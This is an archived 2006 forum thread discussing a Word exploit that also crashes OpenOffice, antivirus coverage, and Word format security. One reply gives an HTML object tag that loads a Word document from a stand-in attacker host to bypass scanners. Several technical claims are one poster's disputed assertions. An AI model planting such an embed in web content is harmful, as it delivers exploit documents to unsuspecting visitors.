|
Posted by MC on December 21, 2006, 3:59 pm
If you were Registered and logged in, you could reply and use other advanced thread options
Exploit for Word also works with OpenOffice
The exploit for the third unpatched security hole in Word reported last
week also works in OpenOffice 2.1. If a prepared Word document is opened
in OpenOffice Writer under Windows XP SP2, Writer crashes. The dialogue
for document recovery then appears. Under Linux, the application also
crashes, prompting the message that the main memory is full.
It has not yet, however, been demonstrated that code can be injected via
this weak point in OpenOffice. But there are unconfirmed reports that
this is possible. In contrast, the hole in Word is reportedly already
being actively used to infect systems. In a test, Kaspersky's virus
scanner detected the exploit and deleted the file. But not all virus
scanners provide protection from such attacks, as a scan for the
malicious code at Virustotal showed this week.
Not all virus scanners recognize the seven day old exploit.
As of 19-12-2006, the following AV suites detected the exploit:
AntiVir, BitDefender, ClamAV, Fortinet, Ikarus, Kaspersky, McAfee,
Microsoft, NOD and Panda.
Others soon to follow, but extra care should be taken in the meantime.
Related links
http://www.heise-security.co.uk/news/82548
http://blogs.technet.com/msrc/archive/2006/12/15/update-on-current-word-vulnerability-reports.aspx
|
|
Posted by Sebastian Gottschalk on December 22, 2006, 2:08 am
If you were Registered and logged in, you could reply and use other advanced thread options
MC wrote:
> It has not yet, however, been demonstrated that code can be injected via
> this weak point in OpenOffice. But there are unconfirmed reports that
> this is possible.
Shows how well they know using a debugger. The flaw is not exploitable,
since no multiplication or addition takes place, thus no integer overflow
occurs. After all, that's also pretty much what one could expect from a big
memory allocation error.
> In a test, Kaspersky's virus
> scanner detected the exploit and deleted the file. But not all virus
> scanners provide protection from such attacks, as a scan for the
> malicious code at Virustotal showed this week.
No virus scanner provides protection from that attack, since you can simply
use exploitation pathes that aren't covered by virus scanners. Trivial
example: A website containing <object type="application/x-msword"
data="https://evil.org/gendoc.pl?foo=bar"></object>. D'oh, executes
directly in memory.
> Others soon to follow, but extra care should be taken in the meantime.
Nonsense. MS Word is insecure by design, so every untrusted document has to
be validated and normalized before opening it. (Common tools for doing so
are OpenOffice and AbiWord...)
|
|
Posted by MC on December 22, 2006, 6:02 pm
If you were Registered and logged in, you could reply and use other advanced thread options
> Nonsense. MS Word is insecure by design, so every untrusted document has to
> be validated and normalized before opening it. (Common tools for doing so
> are OpenOffice and AbiWord...)
My point being that OpenOffice crashes upon opening of the document,
despite the validation. And my comment was about virus scanners picking
it up, and since it's a new exploit, more AV suites will soon follow in
detection of this malicious code, but that caution is needed in the
meantime. So you probably misread what I was getting at.
I'm even willing to go further. If you -must- distribute a document with
layout and graphics in place, do so in a portable format that can be
opened on any system, like RTF, OpenDocument (which is an ISO standard
if I recall correctly) or PDF, to name a few, depending on your needs.
I'm quite opposed to the widespread use of Word documents as general
text processing format to be sent to others. Not to mention using Word
documents as e-mail bodies like some people do, often not even realising
it can't easily be opened or read on, say, a Linux system...
Simply put: too many bells and whistles to the format which causes the
potential risk of the document viruses and exploits we've seen over the
years; this one no different.
I thought this was of note since the exploit apparently uses a common
component that is -not- specific to Microsoft Word, and also crashes
OpenOffice. A warning in place for people that will likely have multiple
documents open that, with a crash of the program, may lose data.
But no matter how much you hate Microsoft, the Office suite is in use by
quite the chunk of the administrative offices around the world, so you
can expect the format to be widespread (since a lot of people don't seem
to know what "save as..." does, or what format to choose instead of the
default in that case)
MC
|
|
Posted by Sebastian Gottschalk on December 23, 2006, 4:00 am
If you were Registered and logged in, you could reply and use other advanced thread options
> Sebastian Gottschalk wrote:
>> Nonsense. MS Word is insecure by design, so every untrusted document has to
>> be validated and normalized before opening it. (Common tools for doing so
>> are OpenOffice and AbiWord...)
> My point being that OpenOffice crashes upon opening of the document,
> despite the validation.
OpenOffice doesn't even know the intimate details of the format, thus the
validation is incomplete by import alone, completed at export.
> And my comment was about virus scanners picking
> it up, and since it's a new exploit, more AV suites will soon follow in
> detection of this malicious code, but that caution is needed in the
> meantime.
And yes, that's nonsense, since virus scanners can't stop any exploitation
path. If the exploiting document is loaded directly from a web source into
memory (storing it into the browser cache in parallel, which can be
detected), then it's simply too late. You will need caution until it's
patched.
And then, even afterwards, since MS Office is inherently insecure.
> Simply put: too many bells and whistles to the format which causes the
> potential risk of the document viruses and exploits we've seen over the
> years; this one no different.
It's an inherent issue. You don't need any experience to see why it's a
problem.
The problem is the format design: basically it's a serialized memory dump.
When saving such a document, the data structures in memory are collected,
serialized to primitive data types and written to the IDocumentStream COM
Control, which breaks it down into a stream of bytes while preserving the
structure.
When loading a document, the reverse happens. The bytestreams is read by
IDocumentStream, which outputs a series of primite types and their
structure, which then get deserialized into the data structures.
One obvious side effect is incompatibility among different program
versions. Exactly the same memory state gets loaded, but hopefully olde
program versions will simply ignore the additional data and thus get a
stripped-down view on the document content. Anyone with some experience in
software design knows that this is a bad idea and usually doesn't work so
well, and we can see that this holds in practice.
The other obvious issue is security. At no point there's any validation,
everything is assumed to be consistent. However, the process allows all
kind of invalid data structures to be directly loaded into the memory
state, which then gets interpreted. Yikes!
> I thought this was of note since the exploit apparently uses a common
> component that is -not- specific to Microsoft Word, and also crashes
> OpenOffice.
But for a different cause. OpenOffice, being portable even to Linux, has to
reimplement the IDocumentStream interface and the deserialization. This is
where the problem arises: Because validation is done, but improperly, the
invalid data causing the integer overflow are not getting loaded into the
memory state, but are passed to a malloc() for proper initialization and
validation. Too bad that the size of the struct is not checked so well, so
indeed it tries to malloc() the unsized (and thus not overflowed) large
dats structured, which fails with error, and sadly needs to a crash.
Nothing more. Not exploitable, no serious problem, easily fixed, no
inherently design issue.
> A warning in place for people that will likely have multiple
> documents open that, with a crash of the program, may lose data.
Now that's what won't happen. OpenOffice, as usual, has an excellent crash
recovery and regularly dumps all unsaved data, in a consistent way (unlike
MS Office).
|
|
Posted by MC on December 24, 2006, 9:50 am
If you were Registered and logged in, you could reply and use other advanced thread options
>> My point being that OpenOffice crashes upon opening of the document,
>> despite the validation.
> OpenOffice doesn't even know the intimate details of the format, thus the
> validation is incomplete by import alone, completed at export.
So why was your argument that it would be validated and normalized then?
>> And my comment was about virus scanners picking
>> it up, and since it's a new exploit, more AV suites will soon follow in
> And yes, that's nonsense, since virus scanners can't stop any exploitation
> path.
Actually, it is an exploit in the program, regardless of which path is
used to load the document. If you have a document on disk, and load it
into OO, it -will- crash writer. This crash is -possibly- an entry point
for an exploit. I am not familiar with the intimate details of the
exploit myself, but in most cases, making a program crash due to an
unhandled exception gives room for the insertion and execution of
arbitrary code in memory.
Virus scanners are always the combatants of symptoms, they always have
been and always will be. Of course it is best if the source is fixed,
whether that is hardware, software or wetware, but in practice you just
can't always do that or assume it can be done quickly enough to not make
it a problem.
If the exploiting document is loaded directly from a web source into
> memory (storing it into the browser cache in parallel, which can be
> detected), then it's simply too late. You will need caution until it's
> patched.
This is a good reason why I don't like web browser plugins for this kind
of file. It is also hard to intercept by an AV scanner for this very
same reason, unless the actual data streams when browsing are scanned
on-the-fly. Which means that if this becomes a real concern, that people
should just stop using plugins that read the data directly, and instead
use the conventional way of saving a document to disk and open it with
the associated program instead of the browser.
> And then, even afterwards, since MS Office is inherently insecure.
Any person behind a PC doing anything is inherently insecure, too. Any
Internet connection is too, for that matter.
Sebastian, I understand you seem to have a deep rooted hatred against
anything Microsoft, but it gets the job done and is widely used, which
will not soon change. Leaving out the "additional" remarks thrown in
like this would make for a much nicer discussion environment in this
newsgroup. Any program is as secure as the one operating/using or
configuring it.
>> Simply put: too many bells and whistles to the format which causes the
>> potential risk of the document viruses and exploits we've seen over the
>> years; this one no different.
> It's an inherent issue. You don't need any experience to see why it's a
> problem.
Indeed. That's why I suggested to use other formats if you don't need
the extra functionality that comes with this kind of problem.
> The problem is the format design: basically it's a serialized memory dump.
If you say so. I find this a strange concept. A memory dump from one
program or even program version would be, by definition, incompatible
with another program or version.
However, since you describe the filtering through a COM object, I don't
see how this is different from any other file format being saved from an
in-memory state through a parser to write out a structured file. An
image when stored in memory, to name one thing, is different from what
is written to disk, but it is still a serialized memory dump that gets
restored when loading the file through the reverse process.
|
| Similar Threads | Posted | | Recent UPnP worm writers caught... | August 27, 2005, 3:32 am |
| Deleting recent documents from the start menu in XP | November 13, 2005, 9:55 am |
| Zero-day IE exploit... | November 22, 2005, 7:46 pm |
| Where is the IE zero day exploit in the news... | November 26, 2005, 11:13 pm |
| an interesting take on the 0-day exploit | December 30, 2005, 4:56 pm |
| Javascript exploit | November 5, 2006, 5:00 pm |
| REAL-TIME EXPLOITS TRACKING WITH ANTI-EXPLOIT | September 15, 2005, 11:08 pm |
| NNTP Problems | November 27, 2005, 8:30 pm |
| OT: Help, bios problems! | March 8, 2007, 10:40 pm |
| Any problems with AVG8? | May 15, 2008, 7:56 pm |
|
XML site map